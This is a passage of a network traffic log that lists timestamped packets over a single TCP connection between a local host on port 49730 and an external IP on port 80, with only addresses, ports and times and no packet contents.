Jan 11, 2025 03:30:29.506851912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.506869078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.506882906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.506906986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.506951094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.507044077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.507152081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.507168055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.507215977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.507356882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.507370949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.507421970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.507472038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.507487059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.507508039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.507527113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.507575989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.507766962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.507782936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.507850885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.507894039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.507910967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.507966042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.508079052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.508095980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.508111000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.508126974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.508141994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.508162975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.508189917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.508527040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.508543015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.508558989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.508573055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.508583069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.508588076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.508635044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.508676052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.508861065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.508949041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.508964062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.509005070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.509201050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.509217978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.509232044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.509247065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.509255886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.509280920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.509586096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.509602070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.509617090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.509633064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.509648085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.509649038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.509711981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.509736061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.510067940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.510083914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.510098934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.510113955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.510128021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.510144949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.510150909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.510205030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.510572910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.510590076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.510603905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.510618925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.510633945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.510649920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.510672092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.510740995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.511110067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.511127949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.511147022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.511162996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.511178017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.511203051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.511210918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.511219025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.511262894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.511712074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.511729002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.511749983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.511784077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.511841059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.511929989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.511950016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.512028933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.512108088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.512135029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.512182951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.512200117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.512213945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.512228966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.512248039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.512260914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.512264967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.512306929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.514446974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.515048981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.515098095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.515111923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.515113115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.515181065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.515245914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.515261889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.515305996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.515326977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.555124998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.555197954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.555206060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.555212975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.555238008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.555257082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.555274963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.555351019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.594728947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.594772100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.594788074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.594927073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.594940901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.594944000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.594961882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.594976902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.594990015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.595020056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.595148087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.595208883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.595243931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.595259905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.595276117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.595290899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.595308065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.595338106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.595366001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.595366001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.595396042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.595627069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.626312971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.638526917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.638554096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.638573885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.638598919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.638613939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.638629913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.638645887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.638672113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.638741970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.638839960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.638931036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.638991117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.638999939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.639019012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.639024973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.639034033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.639111996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.639508009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.639524937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.639539957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.639554977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.639569998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.639585018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.639600039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.639600992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.639622927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.639627934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.639631033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.639647961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.639657974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.639663935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.639702082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.639725924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.640357971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.640374899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.640389919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.640404940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.640420914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.640435934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.640450954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.640450954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.640465975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.640481949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.640496969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.640496969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.640512943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.640527964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.640530109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.640563011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.640592098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.641299963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.641320944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.641336918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.641352892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.641369104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.641383886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.641390085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.641406059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.641422987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.641429901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.641431093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.641439915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.641448021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.641469002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.641468048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.641532898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.641557932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.642193079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.642209053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.642224073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.642239094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.642251968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.642260075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.642267942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.642282963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.642288923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.642298937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.642313957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.642328024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.642328978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.642343044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.642358065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.642370939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.642373085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.642416000 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.643224001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.643240929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.643254995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.643270969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.643280029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.643285990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.643301010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.643304110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.643325090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.643340111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.643349886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.643356085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.643371105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.643378973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.643390894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.643407106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.643418074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.643456936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.644040108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.644057035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.644072056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.644087076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.644100904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.644100904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.644117117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.644131899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.644149065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.644151926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.644164085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.644179106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.644193888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.644210100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.644212008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.644212961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.644223928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.644243002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.644284010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.644922018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.644941092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.644956112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.644970894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.644985914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.645003080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.645010948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.645019054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.645056963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.645087004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.651570082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.672949076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.683461905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.683486938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.683505058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.683521032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.683613062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.683628082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.683644056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.683660984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.683665037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.683665037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.683708906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.683708906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.683912039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.683928013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.683943033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.683970928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.684017897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.684133053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.684151888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.684165955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.684179068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.684220076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.684247971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.723273993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.723294973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.723310947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.723368883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.723473072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.723488092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.723493099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.723493099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.723514080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.723526955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.723568916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.723591089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.723695993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.723710060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.723726034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.723741055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.723756075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.723768950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.723771095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.723799944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.723839998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.724045038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.724067926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.724085093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.724101067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.724114895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.724117994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.724142075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.724428892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.724443913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.724458933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.724473953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.724479914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.724505901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.724703074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.724725962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.724740028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.724755049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.724761963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.724770069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.724785089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:30:29.724793911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:30:29.724798918 CET	80	49730	193.143.1.205	192.168.2.4
